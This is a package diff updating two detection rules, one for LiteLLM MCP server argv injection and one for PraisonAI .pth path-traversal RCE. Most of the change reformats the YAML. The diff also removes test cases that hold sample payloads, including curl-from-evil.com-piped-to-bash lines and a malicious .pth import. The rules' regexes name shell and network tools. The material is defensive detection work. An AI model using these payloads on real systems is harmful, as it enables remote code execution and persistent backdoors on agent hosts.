agent-threat-rules 4.0.0 → 4.1.5

package/rules/tool-poisoning/ATR-2026-00543-litellm-mcp-server-argv-injection.yaml

@@ -1,91 +1,65 @@
-title: "LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)"
+title: LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)
 id: ATR-2026-00543
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2026-30623 (CVSS HIGH, CWE-78): LiteLLM's proxy MCP server
-  creation endpoint accepts 'command' and 'args' fields from an authenticated
-  caller (proxy API key required) and passes them directly to subprocess
-  execution without validation. An attacker with a valid LiteLLM proxy API
-  key can create a malicious MCP server configuration that executes arbitrary
-  commands on the proxy host when the MCP server is initialised.
-
-  Unlike CVE-2026-30617 (LangChain-ChatChat, unauthenticated) this requires
-  a valid proxy API key but not admin access — widening the attack surface in
-  any LiteLLM deployment that issues keys to end-users or third-party callers.
-
-  The LiteLLM proxy MCP API accepts JSON with 'mcp_servers' or uses the
-  internal 'add_server' / server registration format with 'command' and 'args'.
-
-  Detection covers:
-  (a) LiteLLM proxy MCP server creation payload with shell binary in command;
-  (b) LiteLLM MCP config with interpreter + -c/-e inline-exec in args;
-  (c) LiteLLM POST /mcp endpoint with shell metacharacters in command/args;
-  (d) Explicit CVE-2026-30623 / LiteLLM MCP exploitation framing.
-author: "ATR Community"
-date: "2026/05/28"
-schema_version: "0.1"
+description: |
+  Detects CVE-2026-30623 (CVSS HIGH, CWE-78): LiteLLM's proxy MCP server creation endpoint accepts 'command' and 'args' fields from an authenticated caller (proxy API key required) and passes them directly to subprocess execution without validation. An attacker with a valid LiteLLM proxy API key can create a malicious MCP server configuration that executes arbitrary commands on the proxy host when the MCP server is initialised.
+  Unlike CVE-2026-30617 (LangChain-ChatChat, unauthenticated) this requires a valid proxy API key but not admin access — widening the attack surface in any LiteLLM deployment that issues keys to end-users or third-party callers.
+  The LiteLLM proxy MCP API accepts JSON with 'mcp_servers' or uses the internal 'add_server' / server registration format with 'command' and 'args'.
+  Detection covers: (a) LiteLLM proxy MCP server creation payload with shell binary in command; (b) LiteLLM MCP config with interpreter + -c/-e inline-exec in args; (c) LiteLLM POST /mcp endpoint with shell metacharacters in command/args; (d) Explicit CVE-2026-30623 / LiteLLM MCP exploitation framing.
+author: ATR Community
+date: 2026/05/28
+schema_version: '0.1'
 detection_tier: pattern
 maturity: draft
 severity: high
-
 references:
   owasp_llm:
-    - "LLM05:2025"
-    - "LLM06:2025"
+    - LLM05:2025
+    - LLM06:2025
   owasp_agentic:
-    - "ASI05:2026"
-    - "ASI04:2026"
+    - ASI05:2026
+    - ASI04:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
-    - "AML.T0040 - AI Model Inference API Access"
+    - AML.T0049 - Exploit Public-Facing Application
+    - AML.T0040 - AI Model Inference API Access
   mitre_attack:
-    - "T1059 - Command and Scripting Interpreter"
-    - "T1078 - Valid Accounts"
+    - T1059 - Command and Scripting Interpreter
+    - T1078 - Valid Accounts
   cve:
-    - "CVE-2026-30623"
-
+    - CVE-2026-30623
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: >
-        CVE-2026-30623 allows authenticated LiteLLM proxy API callers to
-        register MCP servers with arbitrary command values that reach
-        subprocess execution; Article 15 cybersecurity requirements mandate
-        that AI proxy server-creation APIs validate command parameters.
+    - article: '15'
+      context: |
+        CVE-2026-30623 allows authenticated LiteLLM proxy API callers to register MCP servers with arbitrary command values that reach subprocess execution; Article 15 cybersecurity requirements mandate that AI proxy server-creation APIs validate command parameters.
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623))."
+    - article: '9'
+      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)).
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: >
-        Authenticated attacker-controlled MCP server command values reaching
-        subprocess constitute an adversarial input; MP.5.1 requires scanning
-        LiteLLM MCP registration payloads for shell-binary command fields.
+    - subcategory: MP.5.1
+      context: |
+        Authenticated attacker-controlled MCP server command values reaching subprocess constitute an adversarial input; MP.5.1 requires scanning LiteLLM MCP registration payloads for shell-binary command fields.
       strength: primary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)).
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623))."
+    - subcategory: MG.3.2
+      context: NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)).
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: >
-        Operational controls must detect and block LiteLLM MCP server
-        registration payloads containing shell binary command fields before
-        proxy-side subprocess spawning.
+    - clause: '8.1'
+      context: |
+        Operational controls must detect and block LiteLLM MCP server registration payloads containing shell binary command fields before proxy-side subprocess spawning.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)) as a treatment control."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (LiteLLM MCP Server Creation Authenticated argv Injection (CVE-2026-30623)) as a treatment control.
       strength: secondary
-
 tags:
   category: tool-poisoning
   subcategory: mcp-config-command-injection
@@ -93,7 +67,6 @@ tags:
   confidence: high
   source: cve-disclosure
   vendor_sources: litellm-cve-2026-30623
-
 agent_source:
   type: llm_io
   framework:
@@ -101,79 +74,37 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Legitimate LiteLLM MCP configs using npx/uvx/python -m with safe package names."
-    - "Security advisory text quoting CVE-2026-30623 payloads."
-    - "LiteLLM proxy configs with non-shell commands and no inline-exec flags."
+    - Legitimate LiteLLM MCP configs using npx/uvx/python -m with safe package names.
+    - Security advisory text quoting CVE-2026-30623 payloads.
+    - LiteLLM proxy configs with non-shell commands and no inline-exec flags.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)(?:litellm|LiteLLM)[^\n]{0,200}["\x27]command["\x27]\s*:\s*["\x27](?:(?:\/(?:usr\/(?:local\/)?)?bin\/)?(?:bash|sh|zsh)|cmd(?:\.exe)?|powershell(?:\.exe)?|pwsh|nc|ncat|netcat|curl|wget)["\x27]'
-      description: >
-        LiteLLM proxy payload with a shell binary or network tool as the
-        MCP server command value — direct CVE-2026-30623 attack shape.
-
+      value: (?i)(?:litellm|LiteLLM)[^\n]{0,200}["\x27]command["\x27]\s*:\s*["\x27](?:(?:\/(?:usr\/(?:local\/)?)?bin\/)?(?:bash|sh|zsh)|cmd(?:\.exe)?|powershell(?:\.exe)?|pwsh|nc|ncat|netcat|curl|wget)["\x27]
+      description: |
+        LiteLLM proxy payload with a shell binary or network tool as the MCP server command value — direct CVE-2026-30623 attack shape.
     - field: content
       operator: regex
-      value: '(?i)(?:litellm|LiteLLM)[^\n]{0,300}(?:["\x27]command["\x27]\s*:|command\s*=)\s*["\x27](?:python3?|perl|ruby|node|bun)["\x27][^\n]{0,200}(?:["\x27]args["\x27]\s*:|args\s*=)\s*\[[^\]]*["\x27]-[ceE]["\x27]'
-      description: >
-        LiteLLM MCP config with interpreter command + -c/-e/-E inline-exec
-        flag in args — interpreter-based RCE via proxy MCP server creation
-
+      value: (?i)(?:litellm|LiteLLM)[^\n]{0,300}(?:["\x27]command["\x27]\s*:|command\s*=)\s*["\x27](?:python3?|perl|ruby|node|bun)["\x27][^\n]{0,200}(?:["\x27]args["\x27]\s*:|args\s*=)\s*\[[^\]]*["\x27]-[ceE]["\x27]
+      description: |
+        LiteLLM MCP config with interpreter command + -c/-e/-E inline-exec flag in args — interpreter-based RCE via proxy MCP server creation
     - field: content
       operator: regex
-      value: '(?i)(?:\/mcp|mcp[_/]server|add[_-]?mcp[_-]?server)[^\n]{0,200}["\x27](?:command|cmd)["\x27]\s*:\s*["\x27][^\x22\x27]+["\x27][^\n]{0,200}(?:[|&;`]|\$\(|&&|\|\|)'
-      description: >
-        MCP server registration endpoint or config with command field
-        containing shell metacharacters — command injection via API
-
+      value: (?i)(?:\/mcp|mcp[_/]server|add[_-]?mcp[_-]?server)[^\n]{0,200}["\x27](?:command|cmd)["\x27]\s*:\s*["\x27][^\x22\x27]+["\x27][^\n]{0,200}(?:[|&;`]|\$\(|&&|\|\|)
+      description: |
+        MCP server registration endpoint or config with command field containing shell metacharacters — command injection via API
     - field: content
       operator: regex
-      value: '(?i)(?:CVE-2026-30623|litellm[^\n]{0,80}mcp)[^\n]{0,200}(?:inject|exec|exploit|bypass|rce|command[_\s-]?inject|argv[_\s-]?inject)'
-      description: >
-        CVE-2026-30623 or LiteLLM + MCP reference combined with exploitation
-        language — attack framing in skill or tool description
-
+      value: (?i)(?:CVE-2026-30623|litellm[^\n]{0,80}mcp)[^\n]{0,200}(?:inject|exec|exploit|bypass|rce|command[_\s-]?inject|argv[_\s-]?inject)
+      description: |
+        CVE-2026-30623 or LiteLLM + MCP reference combined with exploitation language — attack framing in skill or tool description
 response:
   actions:
     - alert
     - block_tool
-  message_template: >
-    [ATR-2026-00543] HIGH: LiteLLM MCP server creation payload with shell
-    binary command field detected (CVE-2026-30623, CWE-78). LiteLLM passes
-    MCP server command values to subprocess without validation — any caller
-    with a proxy API key can achieve RCE. Block this registration; enforce a
-    command allowlist (npx, uvx, python -m) in the MCP server creation
-    handler and upgrade LiteLLM to a patched version.
-
+  message_template: |
+    [ATR-2026-00543] HIGH: LiteLLM MCP server creation payload with shell binary command field detected (CVE-2026-30623, CWE-78). LiteLLM passes MCP server command values to subprocess without validation — any caller with a proxy API key can achieve RCE. Block this registration; enforce a command allowlist (npx, uvx, python -m) in the MCP server creation handler and upgrade LiteLLM to a patched version.
 confidence: 76
-
-
-test_cases:
-  true_positives:
-    - input: "POST /mcp/add_server {\"command\": \"bash\", \"args\": [\"-c\", \"curl evil.com/shell.sh | bash\"]}"
-      expected: triggered
-      description: "LiteLLM MCP server creation with bash command + curl payload"
-    - input: "{\"litellm_params\": {\"mcp_server\": {\"command\": \"/bin/sh\", \"args\": [\"-c\", \"id\"]}}}"
-      expected: triggered
-      description: "LiteLLM config JSON with /bin/sh command field"
-    - input: "litellm MCP config: command='python', args=['-c', 'import os; os.system(\"whoami\")']"
-      expected: triggered
-      description: "LiteLLM MCP config with python -c inline exec"
-    - input: "CVE-2026-30623: LiteLLM MCP server creation argv injection allows authenticated RCE."
-      expected: triggered
-      description: "Exploitation framing referencing CVE-2026-30623"
-
-  true_negatives:
-    - input: "{\"litellm_params\": {\"mcp_server\": {\"command\": \"npx\", \"args\": [\"@modelcontextprotocol/server-filesystem\"]}}}"
-      expected: not_triggered
-      description: "Legitimate LiteLLM MCP config with npx"
-    - input: "litellm.completion() with model='gpt-4'"
-      expected: not_triggered
-      description: "Normal LiteLLM completion call — no MCP config"
-    - input: "Upgrade LiteLLM to fix CVE-2026-30623"
-      expected: not_triggered
-      description: "Mitigation advisory without exploit content"

package/rules/tool-poisoning/ATR-2026-00544-praisonai-pth-file-path-traversal-rce.yaml

@@ -1,88 +1,62 @@
-title: "PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)"
+title: PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)
 id: ATR-2026-00544
 rule_version: 1
 status: experimental
-description: >
-  Detects GHSA-9mqq-jqxf-grvw (CVSS CRITICAL, CWE-22 / CWE-94): PraisonAI
-  MCP server configuration allows a path traversal attack that writes a
-  Python .pth file into a site-packages directory. Python automatically
-  executes lines in .pth files that start with 'import ' on interpreter
-  startup, enabling persistent arbitrary code execution. An attacker who
-  can supply a malicious MCP config can traverse from the expected tools
-  directory into site-packages and drop an executable .pth file.
-
-  Python .pth files are a legitimate Python path-extension mechanism
-  (PEP 302) but execute arbitrary Python on import when a line begins
-  with 'import '. Path traversal to site-packages combined with .pth
-  content that starts with 'import os; os.system(...)' achieves RCE on
-  every subsequent Python process start.
-
-  Detection covers:
-  (a) Path-traversal sequences targeting site-packages with .pth extension;
-  (b) .pth file content containing import + OS execution primitives;
-  (c) PraisonAI MCP config with directory traversal in file path fields;
-  (d) Explicit GHSA-9mqq-jqxf-grvw exploitation framing.
-author: "ATR Community"
-date: "2026/05/28"
-schema_version: "0.1"
+description: |
+  Detects GHSA-9mqq-jqxf-grvw (CVSS CRITICAL, CWE-22 / CWE-94): PraisonAI MCP server configuration allows a path traversal attack that writes a Python .pth file into a site-packages directory. Python automatically executes lines in .pth files that start with 'import ' on interpreter startup, enabling persistent arbitrary code execution. An attacker who can supply a malicious MCP config can traverse from the expected tools directory into site-packages and drop an executable .pth file.
+  Python .pth files are a legitimate Python path-extension mechanism (PEP 302) but execute arbitrary Python on import when a line begins with 'import '. Path traversal to site-packages combined with .pth content that starts with 'import os; os.system(...)' achieves RCE on every subsequent Python process start.
+  Detection covers: (a) Path-traversal sequences targeting site-packages with .pth extension; (b) .pth file content containing import + OS execution primitives; (c) PraisonAI MCP config with directory traversal in file path fields; (d) Explicit GHSA-9mqq-jqxf-grvw exploitation framing.
+author: ATR Community
+date: 2026/05/28
+schema_version: '0.1'
 detection_tier: pattern
 maturity: draft
 severity: critical
-
 references:
   owasp_llm:
-    - "LLM05:2025"
+    - LLM05:2025
   owasp_agentic:
-    - "ASI05:2026"
-    - "ASI04:2026"
+    - ASI05:2026
+    - ASI04:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
+    - AML.T0049 - Exploit Public-Facing Application
   mitre_attack:
-    - "T1059.006 - Python"
-    - "T1546.016 - Boot or Logon Autostart Execution: .pth Files"
+    - T1059.006 - Python
+    - 'T1546.016 - Boot or Logon Autostart Execution: .pth Files'
   cve:
-    - "GHSA-9mqq-jqxf-grvw"
-
+    - GHSA-9mqq-jqxf-grvw
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: >
-        GHSA-9mqq-jqxf-grvw allows writing arbitrary .pth files to Python
-        site-packages via path traversal in PraisonAI MCP config; Article 15
-        cybersecurity requirements mandate that AI agent configuration
-        interfaces validate file paths to prevent path traversal attacks.
+    - article: '15'
+      context: |
+        GHSA-9mqq-jqxf-grvw allows writing arbitrary .pth files to Python site-packages via path traversal in PraisonAI MCP config; Article 15 cybersecurity requirements mandate that AI agent configuration interfaces validate file paths to prevent path traversal attacks.
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw))."
+    - article: '9'
+      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)).
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: >
-        Path traversal + .pth injection achieving persistent Python-level RCE
-        constitutes an adversarial input attack; MP.5.1 requires scanning
-        MCP file path fields for traversal sequences targeting site-packages.
+    - subcategory: MP.5.1
+      context: |
+        Path traversal + .pth injection achieving persistent Python-level RCE constitutes an adversarial input attack; MP.5.1 requires scanning MCP file path fields for traversal sequences targeting site-packages.
       strength: primary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)).
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw))."
+    - subcategory: MG.3.2
+      context: NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)).
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: >
-        Operational controls must detect and block MCP configuration payloads
-        containing path traversal sequences targeting site-packages directories.
+    - clause: '8.1'
+      context: |
+        Operational controls must detect and block MCP configuration payloads containing path traversal sequences targeting site-packages directories.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)) as a treatment control."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (PraisonAI MCP Path-Traversal .pth Injection RCE (GHSA-9mqq-jqxf-grvw)) as a treatment control.
       strength: secondary
-
 tags:
   category: tool-poisoning
   subcategory: path-traversal-pth-injection
@@ -90,7 +64,6 @@ tags:
   confidence: high
   source: cve-disclosure
   vendor_sources: praisonai-ghsa-9mqq-jqxf-grvw
-
 agent_source:
   type: llm_io
   framework:
@@ -98,86 +71,37 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Python packaging tools creating .pth files in site-packages via legitimate pip install."
-    - "PYTHONPATH manipulation for virtual environment setup — without traversal sequences."
-    - "Security advisory text quoting GHSA-9mqq-jqxf-grvw traversal payload."
+    - Python packaging tools creating .pth files in site-packages via legitimate pip install.
+    - PYTHONPATH manipulation for virtual environment setup — without traversal sequences.
+    - Security advisory text quoting GHSA-9mqq-jqxf-grvw traversal payload.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)(?:\.\.\/|\.\.\\){2,}[^\n]{0,200}(?:site-packages|dist-packages)[^\n]{0,100}\.pth'
-      description: >
-        Directory traversal sequence (2+ levels up) targeting site-packages
-        or dist-packages with a .pth extension — core GHSA-9mqq-jqxf-grvw
-        path-traversal-to-.pth attack shape.
-
+      value: (?i)(?:\.\.\/|\.\.\\){2,}[^\n]{0,200}(?:site-packages|dist-packages)[^\n]{0,100}\.pth
+      description: |
+        Directory traversal sequence (2+ levels up) targeting site-packages or dist-packages with a .pth extension — core GHSA-9mqq-jqxf-grvw path-traversal-to-.pth attack shape.
     - field: content
       operator: regex
-      value: '(?i)\.pth[^\n]{0,300}import\s+(?:os|sys|subprocess|importlib)[^\n]{0,200}(?:system|exec|popen|spawn|check_output|run|call)'
-      description: >
-        .pth file content with 'import os/sys/subprocess' followed by
-        code-execution method — executed-on-startup .pth payload pattern
-
+      value: (?i)\.pth[^\n]{0,300}import\s+(?:os|sys|subprocess|importlib)[^\n]{0,200}(?:system|exec|popen|spawn|check_output|run|call)
+      description: |
+        .pth file content with 'import os/sys/subprocess' followed by code-execution method — executed-on-startup .pth payload pattern
     - field: content
       operator: regex
-      value: '(?i)(?:praisonai|praison)[^\n]{0,200}(?:\.pth|site-packages|dist-packages|path[_-]?traversal|directory[_-]?traversal)[^\n]{0,200}(?:inject|exec|rce|exploit|bypass)'
-      description: >
-        PraisonAI reference combined with .pth or path traversal language
-        and exploitation framing — GHSA-9mqq-jqxf-grvw attack context
-
+      value: (?i)(?:praisonai|praison)[^\n]{0,200}(?:\.pth|site-packages|dist-packages|path[_-]?traversal|directory[_-]?traversal)[^\n]{0,200}(?:inject|exec|rce|exploit|bypass)
+      description: |
+        PraisonAI reference combined with .pth or path traversal language and exploitation framing — GHSA-9mqq-jqxf-grvw attack context
     - field: content
       operator: regex
-      value: '(?i)(?:GHSA-9mqq-jqxf-grvw)[^\n]{0,200}(?:payload|inject|exploit|bypass|\.pth|site-packages|path.traversal)'
-      description: >
-        Explicit GHSA-9mqq-jqxf-grvw reference combined with exploitation
-        language — attack framing in skill or tool description
-
+      value: (?i)(?:GHSA-9mqq-jqxf-grvw)[^\n]{0,200}(?:payload|inject|exploit|bypass|\.pth|site-packages|path.traversal)
+      description: |
+        Explicit GHSA-9mqq-jqxf-grvw reference combined with exploitation language — attack framing in skill or tool description
 response:
   actions:
     - alert
     - block_tool
-  message_template: >
-    [ATR-2026-00544] CRITICAL: PraisonAI MCP path-traversal .pth injection
-    pattern detected (GHSA-9mqq-jqxf-grvw, CWE-22/CWE-94). Path traversal
-    to site-packages combined with an executable .pth file achieves persistent
-    RCE on every subsequent Python process. Block this configuration; validate
-    and canonicalise all file paths in MCP server config before any write
-    operation, and upgrade PraisonAI to a patched version.
-
+  message_template: |
+    [ATR-2026-00544] CRITICAL: PraisonAI MCP path-traversal .pth injection pattern detected (GHSA-9mqq-jqxf-grvw, CWE-22/CWE-94). Path traversal to site-packages combined with an executable .pth file achieves persistent RCE on every subsequent Python process. Block this configuration; validate and canonicalise all file paths in MCP server config before any write operation, and upgrade PraisonAI to a patched version.
 confidence: 80
-
-
-test_cases:
-  true_positives:
-    - input: "MCP tool path: ../../../../site-packages/evil.pth"
-      expected: triggered
-      description: "Path traversal to site-packages with .pth extension"
-    - input: "../../../lib/python3.11/site-packages/backdoor.pth"
-      expected: triggered
-      description: "3-level traversal to Python site-packages .pth file"
-    - input: "Write .pth file content: import os; os.system('curl evil.com/shell | bash')"
-      expected: triggered
-      description: ".pth file with import os + os.system() RCE payload"
-    - input: "praisonai MCP path traversal to site-packages .pth injection exploit GHSA-9mqq-jqxf-grvw"
-      expected: triggered
-      description: "PraisonAI + .pth injection exploitation framing"
-    - input: "GHSA-9mqq-jqxf-grvw: PraisonAI path traversal allows .pth injection for persistent RCE"
-      expected: triggered
-      description: "Explicit GHSA ID with exploit context"
-
-  true_negatives:
-    - input: "pip install requests  # installs to site-packages"
-      expected: not_triggered
-      description: "Normal pip install referencing site-packages"
-    - input: "sys.path.append('/usr/local/lib/python3.11/site-packages')"
-      expected: not_triggered
-      description: "Legitimate sys.path manipulation — no traversal or .pth"
-    - input: "PYTHONPATH=/opt/venv/lib/site-packages python script.py"
-      expected: not_triggered
-      description: "PYTHONPATH manipulation without traversal or .pth injection"
-    - input: "Upgrade PraisonAI to fix GHSA-9mqq-jqxf-grvw"
-      expected: not_triggered
-      description: "Mitigation advisory without exploit content"